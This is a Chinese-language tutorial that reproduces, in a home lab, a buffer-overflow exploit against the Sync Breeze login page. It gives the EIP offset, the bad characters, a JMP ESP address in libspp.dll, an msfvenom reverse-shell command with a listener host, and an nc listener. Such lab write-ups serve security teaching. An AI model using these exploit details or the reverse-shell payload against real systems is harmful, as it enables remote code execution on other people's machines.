缓冲区溢出学习及漏洞复现

缓冲区溢出学习及漏洞复现

sec0nd安全 2025-01-25 15:28

免责声明

本文内容仅用于教育和学习目的,旨在帮助读者了解计算机安全、漏洞原理以及防御机制。所有讨论的技术和方法均为理论性质,仅供安全研究人员、学生和专业人士在合法、授权的环境中进行学习和研究。作者坚决反对任何未经授权的非法入侵行为,并倡导合法、合规的安全研究和实践。

一、什么是缓冲区溢出漏洞

unsetunset1.缓冲区的定义unsetunset

缓冲区是程序中用于临时存储数据的一块内存区域。例如,当程序从文件、网络或用户输入中读取数据时,这些数据通常会被存储到缓冲区中,以便后续处理。

unsetunset2. 缓冲区溢出的原理unsetunset

缓冲区溢出漏洞的核心问题是程序没有正确检查写入缓冲区的数据大小。当写入的数据量超过缓冲区的分配大小时,多余的数据会溢出并覆盖相邻内存区域的内容。这可能导致以下后果:
破坏程序运行逻辑
:覆盖程序的控制信息(如返回地址、函数指针等),导致程序崩溃或行为异常。

  • 执行恶意代码
    :攻击者可以通过精心构造的数据,覆盖程序的返回地址,使程序跳转到攻击者控制的代码区域,从而执行恶意指令。

二、漏洞复现

本次实验,我们使用Sync Breeze Client
的缓冲区溢出来实现get shell。因为是漏洞复现,所以本次实验主要操作在Windows10 32位系统上进行,kali linux只要是get shell。

unsetunset1.准备步骤unsetunset

在Windows 10 32位系统下载好Sync Breeze Client
,然后进入客户端的options选项的server
,将web服务
部署在本地80端口上。

在浏览器输入http://127.0.0.1:80
进入本地的web服务,我们可以看到是一个账号密码的登录页面

unsetunset2.验证漏洞是否存在unsetunset

我们知道缓冲区溢出漏洞
就是数据没有进行限制,多余的数据会溢出并覆盖相邻内存区域的内容。既然这样子,如果数据没有做限制,我们输入大量的无效数据,无效数据写入内存被执行后,因为无法识别数据内容,系统就会崩溃。

那这样,我们就可以先在登陆框内写入大量的无效数据,看看会发生什么。

方法一:手工测试

(1)修改限制字符数

一般前端页面都会限制登陆框的写入字符,先使用浏览器的开发者工具,看看字符限制是多少。

然后进行更改,我修改为800

(2)使用powershell生成800个无效字符

(3)查看效果

在username处输入800的无效字符,password处随便输入密码,点击登录,发现程序崩溃,刷新页面也是没有作用的。

方法二 脚本注入

编写一个脚本,脚本功能就是向http://192.168.159.138/login
发送在username注入800个字符的数据包,这样的方式与手工注入的效果是一样。

unsetunset3.再次确认漏洞存在unsetunset

因为前面的操作已经让客户端崩溃了,所以我们每次操作后都要重启服务

以管理员身份运行Immunity Debugger

然后点击Attack
导入该进程

打开成功后,进程是出于暂停状态的,我们先点击开始,让它运行起来。

我们再次重复发送无效数据的操作,看看EIP
地址。

补充:

EIP是x86架构中的指令指针寄存器,用于存储当前正在执行的指令的内存地址。EIP的作用包括:
指向当前指令
:EIP寄存器存储当前正在执行的指令的地址,执行完一条指令后,EIP会自动更新为下一条指令的地址。

  • 控制程序流程
    :通过修改EIP的值,可以实现程序的控制流程转移,例如条件跳转、循环等。

  • 函数调用和返回
    :在函数调用时,EIP的值会被保存到堆栈中,函数执行完毕后,从堆栈中恢复EIP的值,从而返回到调用点。

我们可以看到EIP:41414141
,而我们输入的字符都是A,A的ascii码都是41,意味着我们无法确定数据的最大长度和EIP
真正的地址。

unsetunset4.确定偏移量unsetunset

既然EIP指向的是字符的ascii码,那我就可以使用无重复字符的无效数据来确定EIP地址。

(1)使用msf生成数据

msf-pattern_create -l 800

(2)注入数据

使用脚本,将800个A替换成msf生成的无效数据,然后执行脚本。

ok,我们可以看到EIP 42306142

(3)查询偏移量

使用kali查询偏移量

msf-pattern_offset -l 800 -q 42306142

查询得知,偏移量为780,那么也就是说从781-784就会被精确的写入到EIP寄存器里面。

unsetunset5.确定EIP的地址unsetunset

(1)生成数据

既然知道EIP是从781-784开始写入,那生成780个A,4个B,16个C。

(2)注入数据

将生成的数据通过脚本注入到客户端

发现EIP 寄存器地址为42424242,那么就是大写的BBBB,确认了这个地址的信息了。

unsetunset6.计算可写入数据长度unsetunset

我们要确定可以注入那种大批量数据的长度,我们的数据可以覆盖到哪个地方。比如我们测试的总数为1500个字符,我们用1500减去前面的788,如果后续还能够插入300-500个字符(payload),那么我们就可以直接写入我们的反弹shell脚本。

(1)生成数据

我们测试的总数为1500个字符,我们用1500减去前面的788个字符。

(2)注入数据

将生成的数据通过脚本注入

我们可以看到最后的数据地址是指向:014B7720,而EIP指向的地址是:014B7454,二者相差266位,是可以满足payload的长度

unsetunset7.测试坏字符unsetunset

(1)什么是坏字符

在计算机安全和编程中,“坏字符”(Bad Characters)通常是指那些在特定上下文中可能导致程序行为异常、触发错误或被程序逻辑所禁止的字符。

在网络安全和缓冲区溢出攻击中,“坏字符”是指那些可能破坏攻击载荷(payload)或导致程序崩溃的字符

例如:
空字符(0x00)
:通常用于字符串终止,可能会截断攻击载荷。

  • 换行符(0x0A)或回车符(0x0D)
    :可能触发协议解析错误。

  • 其他特殊字符
    :某些协议或程序可能对特定字符有特殊用途,这些字符如果出现在攻击载荷中,可能会导致攻击失败。

(2)注入坏字符

将所有的十六进制字符注入后,如果遇到坏字符,数字就会变成00。按照这个规则,我们就可以对照输入的十六进制字符找到坏字符

最后,我们找到的坏字符是:0x00
,0x0a
,0x0d
,0x25
,0x26
,0x2B
,0x3D

unsetunset8.找中转unsetunset

在前面的测试过程中,细心的同学可以发现EIP
指向的地址是会变化的,我们没有办法去预判下一次程序重启时的堆栈地址。我们一般来讲常见的手段就是,找到ESP寄存器位置
。ESP寄存器
是堆栈的起始位置,是堆栈的顶部,虽然堆栈的地址每次都变,但是它是存放在ESP寄存器里面的。

那怎么找ESP寄存器
呢?我们可以使用汇编的指令jmp esp
,当程序执行到 jmp esp
 时,它会跳转到 ESP 指向的地址,从而执行攻击者的 payload。

(1)jmp esp转为十六进制

为了与计算机内存一致,先将jmp esp转为十六进制,这里可以使用msf

msf-nasm_shelljmp esp

得到:00000000  FFE4

(2)查找所有模块

这里我们需要使用另外一个模块:mona.py

我们得先下载mona.py,然后将其移动到Immunity Inc\Immunity Debugger\PyCommands
中。

然后打开Immunity Debugger
载入程序,在最底下的输入框内输入

!mona modules

查找出所有模块了,里面的内容是所有模块安全机制的开启情况。我们要攻击一个目标,那肯定会选择一个安全机制不完善的,有严重安全机制缺陷的。根据这个要求,我们找到了全为False、没有开启安全机制的模块:libspp.dll

(3)在该库中查询是否存在jmp esp指令

使用命令查询libspp.dll
是否存在jmp esp
指令

!mona find -s "\xff\xe4" -m "libspp.dll"

发现指令存在,记录下地址:10090c83

注意:因为栈是先进后出,后进先出
,通俗来讲就是倒着读取的,所以写入的时候也要注意顺序

x83x0cx09x10

(4)使用脚本验证

还记得前面使用的脚本中,数据是780个A,4个B,4个C,200+个D。现在,我们把4个B改为:\x83\x0c\x09\x10

执行脚本,跳转成功了

unsetunset9.反弹shellunsetunset

(1)使用msf生成反弹shell

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.159.129 LPORT=4444 -f c -b "\x00\x0A\x0D\x25\x26\x2B\x3D" EXITFUNC=thread

(2)将反弹shell的内容写入脚本

(3)kali端口监听

nc -lvvp 4444

(4)反弹shell

运行脚本,shell反弹给kali,漏洞利用成功